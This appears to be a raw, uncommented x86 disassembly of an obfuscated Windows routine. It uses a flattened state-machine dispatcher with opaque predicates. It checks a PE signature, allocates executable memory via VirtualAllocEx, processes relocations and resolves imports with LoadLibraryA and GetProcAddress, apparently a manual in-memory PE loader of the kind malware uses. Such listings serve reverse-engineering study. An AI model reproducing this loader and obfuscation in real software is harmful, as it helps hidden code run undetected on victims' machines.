cmp eax, 0x29afa1b1
jne 0x401810
mov eax, 0x990344ae
jmp 0x401810
cmp eax, 0xe1f92766
je 0x404831
cmp eax, 0xe3300db8
jne 0x401810
mov eax, dword [esp + 0x48]
mov dword [esp + 0xa4], eax
mov eax, dword [esp + 0xc8]
mov dword [esp + 0xa8], eax
mov eax, 0xee35567d
jmp 0x401810
cmp eax, 0x679a6f68
je 0x404855
cmp eax, 0x6ac8ed68
jne 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xefd6a35b
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x778b00c0
cmovne ebx, edi
test eax, edx
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [esp + 0x10]
cmovge eax, ebx
inc ecx
mov dword [esp + 0x178], ecx
jmp 0x401810
cmp eax, 0xb55febc1
je 0x404889
cmp eax, 0xb57a48e9
jne 0x401810
mov eax, dword [ebp + 0x80]
add eax, esi
mov dword [esp + 0x50], eax
mov eax, 0x31eb38cb
jmp 0x401810
cmp eax, 0x155e8c42
je 0x4048bb
cmp eax, 0x1572e594
jne 0x401810
mov eax, dword [esp + 0x48]
mov dword [esp + 0x148], eax
mov eax, 0x19404976
jmp 0x401810
cmp eax, 0xd23a0053
je 0x4048da
cmp eax, 0xd396ab5a
jne 0x401810
mov ebp, dword [esp + 0x90]
mov eax, dword [0x4ae410]
mov edi, 0x3b892fc5
mov ebx, 0xe9ffb4c0
cmp dword [ebp], 0x4550
lea ecx, [eax + 1]
setne byte [esp + 0x1d]
imul ecx, eax
mov eax, 0xe9ffb4c0
jmp 0x404e96
cmp eax, 0x5b0ed9bc
je 0x4048f2
cmp eax, 0x5b4661b7
jne 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x90728e2e
mov dword [esp + 0x28], 0x40
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xba49861c
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401810
cmp eax, 0x94159807
je 0x404907
cmp eax, 0x943bbc96
jne 0x401810
mov dword [esp], 0
mov eax, 0x298d2674
jmp 0x401810
cmp eax, 0x3e38b137
je 0x404941
cmp eax, 0x3eaf4932
jne 0x401810
mov eax, dword [0x4ae410]
mov edi, 0x62029dc1
mov ebx, 0x9bd8beff
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x9bd8beff
jmp 0x404e96
cmp eax, 0xeec99f21
je 0x40495d
cmp eax, 0xeefaddec
jne 0x401810
mov eax, dword [esp + 0x168]
mov ecx, 0x343a0564
cmp dword [eax], 0
mov eax, 0x8a63143d
cmove eax, ecx
jmp 0x401810
cmp eax, 0x73665aaa
je 0x404996
cmp eax, 0x7591ca11
jne 0x401810
mov eax, 0x1098eaa9
jmp 0x401810
cmp eax, 0xb0406612
je 0x4049a8
cmp eax, 0xb040b29f
jne 0x401810
mov eax, dword [esp + 0xec]
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, 0x8e3cc6a
jmp 0x401810
cmp eax, 0xced9f90
je 0x4049dc
cmp eax, 0xd2653be
jne 0x401810
mov eax, 0x3eaf4932
jmp 0x401810
cmp eax, 0xccfc01ad
je 0x4049f1
cmp eax, 0xcdb93029
jne 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0x9cc535e2
mov edi, 0x438c087e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x438c087e
jmp 0x404b21
cmp eax, 0x51da23cf
je 0x404a1b
cmp eax, 0x520f5026
jne 0x401810
mov eax, 0x3de8ea43
jmp 0x401810
cmp eax, 0x8db15869
je 0x404a25
cmp eax, 0x8e820be2
jne 0x401810
cmp dword [esp + 0x138], 0
mov eax, 0x2a71e011
mov ecx, 0x5f260b39
cmove eax, ecx
jmp 0x401810
cmp eax, 0x32235b8c
je 0x404a2f
cmp eax, 0x343a0564
jne 0x401810
mov dword [esp], 0xd
mov eax, 0x190d7a60
jmp 0x401810
cmp eax, 0xe71835d5
je 0x404a55
cmp eax, 0xe7801399
jne 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0xbf572ac0
mov edi, 0xaa169c91
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xaa169c91
jmp 0x404b21
cmp eax, 0x6f868344
je 0x404a5f
cmp eax, 0x6fefbbbb
jne 0x401810
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x50]
mov edi, 0x6dab6ae5
mov dword [esp + 0x160], esi
mov ebx, 0x51da23cf
lea eax, [eax + eax*4]
lea eax, [ecx + eax*4 + 0x10]
mov dword [esp + 0x164], eax
mov eax, dword [0x4ae410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x51da23cf
jmp 0x404e96
cmp eax, 0xbf572ac0
je 0x404a74
cmp eax, 0xbf939426
jne 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x44cbfab0
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x4f050573
jmp 0x4017fd
cmp eax, 0x1ed292c8
je 0x404aa4
cmp eax, 0x1ff8a66c
jne 0x401810
mov eax, dword [esp + 0xc]
mov dword [esp + 0x134], eax
mov eax, 0x733a1762
jmp 0x401810
cmp eax, 0xdbf705b4
je 0x404ab6
cmp eax, 0xdcc68460
jne 0x401810
mov eax, 0x5a08407c
jmp 0x401810
cmp eax, 0x627dfad8
je 0x404ac0
cmp eax, 0x62f39e6c
jne 0x401810
mov eax, 0xc4d03771
jmp 0x401810
cmp eax, 0x9bd8beff
je 0x404ad9
cmp eax, 0x9cc535e2
jne 0x401810
mov eax, dword [0x4ae410]
mov edi, 0x8fa5314d
mov ebx, 0x438c087e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x438c087e
jmp 0x404e96
cmp eax, 0x44436131
je 0x404ae3
cmp eax, 0x44482c00
jne 0x401810
mov eax, dword [esp + 0xf4]
add eax, dword [esp + 0xf8]
mov dword [esp + 0x30], 0
mov dword [esp + 0x54], eax
mov eax, 0xeb0b4ead
jmp 0x401810
cmp eax, 0xfb92298c
je 0x404af5
cmp eax, 0xfd5d1fd6
jne 0x401810
push dword [esp + 0x15c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x64], eax
test eax, eax
mov eax, 0x715e1cb1
mov ecx, 0xd733f4ca
cmove eax, ecx
jmp 0x401810
cmp eax, 0x7c52728c
je 0x404aff
cmp eax, 0x7e30c634
jne 0x401810
mov eax, dword [0x4ae410]
mov edi, 0x7f3b3300
mov ebx, 0xd23a0053
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd23a0053
jmp 0x404e9e
cmp eax, 0xa8a37c37
je 0x404b3e
cmp eax, 0xaa169c91
jne 0x401810
mov eax, dword [esp + 0x74]
mov eax, dword [esp + 0x74]
mov eax, 0xbf572ac0
jmp 0x401810
cmp eax, 0x1f7aca8
je 0x404b70
cmp eax, 0x262434b
jne 0x401810
lea eax, [ebp + 0x28]
mov dword [esp + 0x1a8], esi
mov dword [esp + 0x1ac], eax
mov eax, 0x9374f51b
jmp 0x401810
cmp eax, 0xc4d03771
je 0x404b81
cmp eax, 0xc53717c2
jne 0x401810
mov eax, 0x1ed292c8
jmp 0x401810
cmp eax, 0x48073982
je 0x404b99
cmp eax, 0x4992555e
jne 0x401810
mov eax, dword [0x4ae410]
mov edi, 0x6ac8ed68
mov ebx, 0x778b00c0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x778b00c0
jmp 0x404e9e
cmp eax, 0x8681a35c
je 0x404bae
cmp eax, 0x86d3617b
jne 0x401810
mov eax, dword [0x4ae410]
mov edi, 0xc379e2c1
mov ebx, 0x8d8934b3
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x8d8934b3
jmp 0x404e9e
cmp eax, 0x28c44b31
je 0x404bd5
cmp eax, 0x298d2674
jne 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xbcb29cf5
mov dword [esp], 0
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x943bbc96
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401810
cmp eax, 0xe0ff1b04
je 0x404c0b
cmp eax, 0xe1ef1ea5
jne 0x401810
mov eax, dword [esp + 0x114]
mov ecx, dword [esp + 0x30]
lea ecx, [ecx + ecx*4]
push dword [eax + ecx*8 + 0x10]
push dword [esp + 0x114]
push dword [esp + 0x114]
vzeroupper
call fcn.0043d3b0
add esp, 0xc
mov eax, 0x48073982
jmp 0x401810
cmp eax, 0x65f5c88b
je 0x404c15
cmp eax, 0x67781b1c
jne 0x401810
mov eax, dword [esp + 0x118]
inc eax
mov dword [esp + 0x30], eax
mov eax, 0xfe454337
jmp 0x401810
cmp eax, 0xb4a93bab
je 0x404c32
cmp eax, 0xb510227a
jne 0x401810
mov eax, dword [esp + 0xb0]
mov eax, dword [esp + 0xb4]
mov eax, 0xac8eff9f
jmp 0x401810
cmp eax, 0x132f7b0a
je 0x404c4d
cmp eax, 0x1374dfb5
jne 0x401810
mov eax, 0x18d333a7
jmp 0x401810
cmp eax, 0xcfcd0940
je 0x404c92
cmp eax, 0xd03d26e2
jne 0x401810
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x48], 0
mov dword [esp + 0xc], eax
mov eax, 0xba23b76c
jmp 0x401810
cmp eax, 0x5a08407c
je 0x404cc8
cmp eax, 0x5a0c4a50
jne 0x401810
mov eax, dword [esp + 0xfc]
mov ecx, 0x49d09dcf
cmp eax, dword [esp + 0x100]
mov eax, 0x3a39619
cmovl eax, ecx
jmp 0x401810
cmp eax, 0x9374f51b
je 0x404cf0
cmp eax, 0x93b8c075
jne 0x401810
mov eax, dword [esp + 0x50]
mov dword [esp + 0xb0], eax
mov eax, 0x6f868344
jmp 0x401810
cmp eax, 0x3d7dc5c3
je 0x404d35
cmp eax, 0x3de8ea43
jne 0x401810
mov eax, dword [esp + 0x34]
mov ebx, 0x7b25c469
mov edi, 0x520f5026
inc eax
mov dword [esp + 0x19c], eax
mov eax, dword [0x4ae410]
lea ecx, [eax + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xfffffffe
test ecx, eax
mov eax, 0x520f5026
jmp 0x404b21
cmp eax, 0xee35567d
je 0x404d85
cmp eax, 0xee8769a3
jne 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x5b4661b7
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xba49861c
jmp 0x4017fd
cmp eax, 0x725b9db8
je 0x404da4
cmp eax, 0x733a1762
jne 0x401810
mov eax, dword [esp + 0x134]
movzx eax, word [eax]
shr eax, 0xc
mov ecx, eax
xor ecx, 0xc
and ecx, eax
mov eax, 0x8e820be2
mov dword [esp + 0x138], ecx
jmp 0x401810
cmp eax, 0xae6297e4
je 0x404e56
cmp eax, 0xaf19ca4c
jne 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x345ebb6d
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x3b262995
cmovne ebx, edi
test eax, edx
mov eax, ebx
cmove eax, edi
mov edi, dword [esp + 0x14]
cmp ecx, 0xa
cmovge eax, ebx
mov ecx, edi
xor ecx, 0xbfffffff
test ecx, edi
setne byte [esp + 0x26]
jmp 0x401810
cmp eax, 0x8e3cc6a
je 0x4017d0
cmp eax, 0xa4d2b33
jne 0x401810
mov eax, dword [esp + 0x94]
mov eax, 0x7a0824ac
jmp 0x401810
cmp eax, 0xcc559b7d
je 0x404e7c
cmp eax, 0xccd91dde
jne 0x401810
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x2c]
mov dword [ecx], eax
mov eax, dword [esp + 0x60]
mov dword [ecx + 4], eax
mov eax, 0x43578fae
jmp 0x401810
cmp eax, 0x4f050573
je 0x404ebb
cmp eax, 0x4fa9ae07
jne 0x401810
mov ecx, dword [esp + 0x38]
mov ebx, 0xdcc68460
mov edi, 0xa7390c47
mov eax, dword [ecx]
add eax, esi
mov dword [esp + 0x8c], eax
mov eax, dword [ecx + 4]
add eax, 0xfffffff8
mov dword [esp + 0x130], eax
mov eax, dword [0x4ae410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa7390c47
jmp 0x404b21
cmp eax, 0x8d8dafe1
je 0x404ed0
cmp eax, 0x8d9c2685
jne 0x401810
mov eax, dword [esp + 0x154]
mov ecx, dword [esp + 0x158]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
add eax, dword [esp + 0x150]
mov dword [esp + 0x15c], eax
mov eax, 0xfd5d1fd6
jmp 0x401810
cmp eax, 0x2f2ea696
je 0x404f08
cmp eax, 0x31eb38cb
jne 0x401810
mov dword [esp + 0x3c], 0
mov eax, 0x8975eff7
jmp 0x401810
cmp eax, 0xe66c27b9
je 0x404f12
cmp eax, 0xe6ea2994
jne 0x401810
mov eax, 0xc8e3c317
jmp 0x401810
mov eax, 0xae6297e4
jmp 0x401810
mov eax, dword [esp + 0x120]
mov eax, dword [eax + 0x34]
mov dword [esp + 0x124], eax
mov eax, 0x2dc892ac
jmp 0x401810
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x4c]
mov eax, dword [eax + ecx*4]
mov ecx, eax
xor ecx, 0xffff0000
and ecx, eax
push ecx
push dword [esp + 0x68]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [esp + 0x5c], eax
mov eax, dword [0x4ae410]
mov edi, 0x8c059e89
mov ebx, 0x7ae855d4
setne byte [esp + 0x21]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x7ae855d4
jmp 0x404e9e
mov eax, 0xc277394b
jmp 0x401810
mov eax, dword [esp + 0x34]
mov ebx, 0x4c1da30f
mov edi, 0x7087e5c
mov dword [esp + 0x17c], eax
lea eax, [ebp + 4]
mov dword [esp + 0x180], eax
mov eax, dword [0x4ae410]
lea ecx, [eax + 1]
imul eax, ecx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
mov eax, 0x7087e5c
jmp 0x404b21
mov ecx, dword [esp + 0xe0]
mov eax, 0x8bf3ee74
mov dword [esp + 0x80], ecx
jmp 0x401810
mov eax, 0xccfc01ad
jmp 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0xb55febc1
mov edi, 0xf643d436
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xf643d436
jmp 0x404b21
cmp byte [esp + 0x1f], 0
mov eax, 0x2cc74e05
mov ecx, 0x1ff8a66c
cmovne eax, ecx
jmp 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0xcf584995
mov edi, 0xe99a4bc9
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe99a4bc9
jmp 0x404b21
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xf9664209
jmp 0x401810
mov eax, dword [esp + 0x19c]
mov dword [esp + 0x34], eax
mov eax, 0xdba84a7b
jmp 0x401810
lea eax, [esp + 0x1c8]
mov ebx, 0xe41faedb
mov edi, 0x4737354
mov dword [esp + 0x9c], eax
mov eax, dword [0x4ae410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x4737354
jmp 0x404b21
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x2c]
mov ebx, 0xe6ea2994
mov edi, 0xccd91dde
mov dword [ecx], eax
mov eax, dword [esp + 0x60]
mov dword [ecx + 4], eax
mov eax, dword [0x4ae410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xccd91dde
jmp 0x404b19
mov eax, dword [esp]
mov dword [esp + 0x70], eax
mov eax, 0xf6ce2751
jmp 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x43578fae
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xccd91dde
jmp 0x404c7c
mov eax, 0x9af3fdf7
jmp 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xe0189bee
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x4524a3a9
jmp 0x4017fd
mov eax, 0x49fe7f
jmp 0x401810
mov eax, 0x5f260b39
jmp 0x401810
mov eax, dword [0x4ae410]
mov edi, 0x56ed82d9
mov ebx, 0x1f7aca8
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x1f7aca8
jmp 0x404e9e
mov eax, 0x42b999aa
jmp 0x401810
cmp byte [esp + 0x23], 0
mov eax, 0x132f7b0a
mov ecx, 0x7b818a4c
cmovne eax, ecx
jmp 0x401810
mov eax, dword [esp + 0x14]
mov dword [esp + 0x18c], eax
mov eax, 0xb10b5f12
jmp 0x401810
mov eax, dword [0x4ae410]
mov edi, 0x6b241d39
mov ebx, 0x41d00377
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x41d00377
jmp 0x404e9e
mov eax, 0xf8b43f8f
jmp 0x401810
mov eax, dword [0x4ae410]
mov edi, 0xb481934f
mov dword [esp + 0xe4], esi
mov ebx, 0x8db15869
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x8db15869
jmp 0x404e9e
push 4
push 0x3000
push dword [esp + 0xe4]
push dword [esp + 0x8c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [esp + 0x1c8], 0
mov esi, eax
mov eax, 0xccfc01ad
mov ecx, 0x64814091
cmove eax, ecx
jmp 0x401810
mov eax, dword [esp + 0x7c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x8c]
mov dword [esp + 0x13c], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x140], eax
mov eax, 0xe1f92766
jmp 0x401810
mov eax, 0x9d9d4797
mov dword [esp], 7
jmp 0x401810
mov eax, 0x7e30c634
jmp 0x401810
mov eax, 0x4b041144
jmp 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xa58ab96e
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x41d00377
jmp 0x404c7c
mov eax, dword [esp + 0xd8]
mov edx, 0x56e7fde8
mov ecx, dword [eax + 0x28]
mov eax, dword [eax + 0x2c]
mov dword [esp + 0x1c8], eax
mov dword [esp + 0x1c4], ecx
test eax, eax
mov eax, 0xce6905ba
mov ecx, dword [ebp + 0x50]
cmove eax, edx
mov dword [esp + 0xdc], ecx
jmp 0x401810
mov eax, 0xce222751
jmp 0x401810
mov eax, dword [esp + 0x104]
add eax, dword [esp + 0x108]
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x54]
lea ecx, [ecx + ecx*4]
mov dword [esp + 0x10c], eax
mov eax, dword [edx + ecx*8 + 0x14]
lea ecx, [esp + 0x288]
mov dword [esp + 0x114], edx
add eax, ecx
mov dword [esp + 0x110], eax
mov eax, 0xe1ef1ea5
jmp 0x401810
mov eax, 0x45f52140
jmp 0x401810
mov eax, 0x41610f28
jmp 0x401810
mov eax, 0x52387d
jmp 0x401810
mov eax, 0xcedde9e7
jmp 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x95eb357e
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xe0ff1b04
jmp 0x4017fd
mov dword [esp + 0xec], ebp
mov eax, 0xb040b29f
jmp 0x401810
cmp dword [esp + 0x14], 0
mov eax, 0x28b12c62
sets byte [esp + 0x22]
jmp 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x6c674c1c
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe0ff1b04
jmp 0x404c7c
cmp byte [esp + 0x22], 0
mov eax, 0x65f5c88b
mov ecx, 0xceab4bd2
cmovne eax, ecx
jmp 0x401810
mov eax, 0x679a6f68
jmp 0x401810
mov eax, 0xdef29aa9
jmp 0x401810
mov eax, 0xdbf705b4
jmp 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xac8eff9f
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xb510227a
jmp 0x4017fd
mov eax, dword [0x4ae410]
mov ebx, 0xc8c92046
mov edi, 0xbe95dd56
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xbe95dd56
jmp 0x404b19
mov eax, dword [esp + 0x18c]
mov edx, 0x299b63f0
mov ecx, eax
xor ecx, 0xdfffffff
test ecx, eax
mov eax, 0xdfdd1693
cmove eax, edx
jmp 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xb6cde0fb
vxorps xmm0, xmm0, xmm0
vmovups ymmword [esp + 0x1ec], ymm0
vmovups ymmword [esp + 0x1cc], ymm0
mov dword [esp + 0x20c], 0
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x7eaa84da
cmovne ebx, edi
test eax, edx
lea edx, [esp + 0x1cc]
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov dword [esp + 0xd4], edx
cmovge eax, ebx
jmp 0x401810
mov eax, 0x1374dfb5
jmp 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xc19c65fd
mov dword [esp], 1
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe5c8cc57
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401810
mov eax, dword [esp + 0xd4]
mov dword [eax], 0x44
lea eax, [ebp + 0x78]
mov dword [esp + 0xd8], eax
mov eax, 0x6c1d9079
jmp 0x401810
mov dword [esp + 0x80], 0
mov eax, 0x8bf3ee74
jmp 0x401810
mov eax, 0x8d8dafe1
jmp 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xbb4e43a3
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x7ae855d4
jmp 0x4017fd
mov eax, 0xfb92298c
jmp 0x401810
mov eax, 0x4b041144
jmp 0x401810
mov eax, 0xda60b9bc
jmp 0x401810
mov eax, 0x98d1c
jmp 0x401810
inc dword [esp + 0x3c]
mov eax, 0x2f2ea696
jmp 0x401810
mov eax, 0x6138c0c0
jmp 0x401810
mov dword [esp], 0xa
mov eax, 0xebd6df3d
jmp 0x401810
mov eax, dword [0x4ae410]
mov ebx, 0xe4332fcb
mov edi, 0xa7a793ee
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa7a793ee
jmp 0x404b21
mov eax, dword [esp + 0xa4]
mov eax, dword [esp + 0xa8]
mov eax, 0xeec99f21
jmp 0x401810
mov eax, 0x8f4166e3
jmp 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x5789d11d
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xe482abb3
jmp 0x4017fd
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0xd396ab5a
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xe9ffb4c0
jmp 0x4017fd
lea eax, [ebp + 0x34]
mov dword [esp + 0xe8], eax
mov eax, 0xcc2f02d3
jmp 0x401810
mov eax, dword [esp + 0x178]
mov dword [esp + 0x10], eax
mov eax, 0x3e38b137
jmp 0x401810
mov eax, 0x23da52ed
jmp 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x8a760f84
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x8db15869
jmp 0x4017fd
mov eax, dword [0x4ae410]
mov edi, 0x98d1c
mov ebx, 0x389ffc8a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x389ffc8a
jmp 0x404e96
mov eax, 0xe7801399
jmp 0x401810
mov eax, dword [esp + 0xd0]
mov eax, dword [eax]
add eax, dword [esp + 0xcc]
mov dword [esp + 0x90], eax
mov eax, 0x22d5acc7
jmp 0x401810
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x23c85f89
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x4f050573
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
mov edi, dword [esp + 0xac]
cmp ecx, 0xa
cmovge eax, edx
mov dword [esp + 0xc], edi
jmp 0x401810
mov eax, 0xeb0b4ead
jmp 0x401810
mov eax, dword [esp + 0x5c]
mov ecx, dword [esp + 0x50]
mov dword [esp + 0x16c], eax
mov eax, dword [esp + 0x3c]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
add eax, esi
mov dword [esp + 0x170], eax
mov eax, dword [esp + 0x10]
lea eax, [eax*4]
mov dword [esp + 0x174], eax
mov eax, 0x720bad41
jmp 0x401810
vxorps xmm0, xmm0, xmm0
vmovups ymmword [esp + 0x1ec], ymm0
vmovups ymmword [esp + 0x1cc], ymm0
mov dword [esp + 0x20c], 0
mov eax, 0xb267887f
jmp 0x401810
mov eax, 0xc53717c2
jmp 0x401810
mov eax, 0x709cc7ce
jmp 0x401810
mov eax, 0x627dfad8
jmp 0x401810
mov eax, dword [0x4ae410]
mov edi, 0x709cc7ce
mov ebx, 0xa7a793ee
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa7a793ee
jmp 0x404e9e
mov eax, 0x8d8dafe1
jmp 0x401810
mov eax, 0xb3327365
jmp 0x401810
mov eax, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x768693e7
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xbe95dd56
jmp 0x4017fd
mov edx, dword [0x4ae410]
mov ecx, dword [0x4ae40c]
mov edi, 0x9ee97514
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x4524a3a9
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
mov edi, dword [esp + 0x14]
cmp ecx, 0xa
cmovge eax, edx
mov dword [esp + 0x74], edi
jmp 0x401810
cmp byte [esp + 0x1e], 0
mov eax, 0x923b2f02
mov ecx, 0xe0d820ab
cmovne eax, ecx
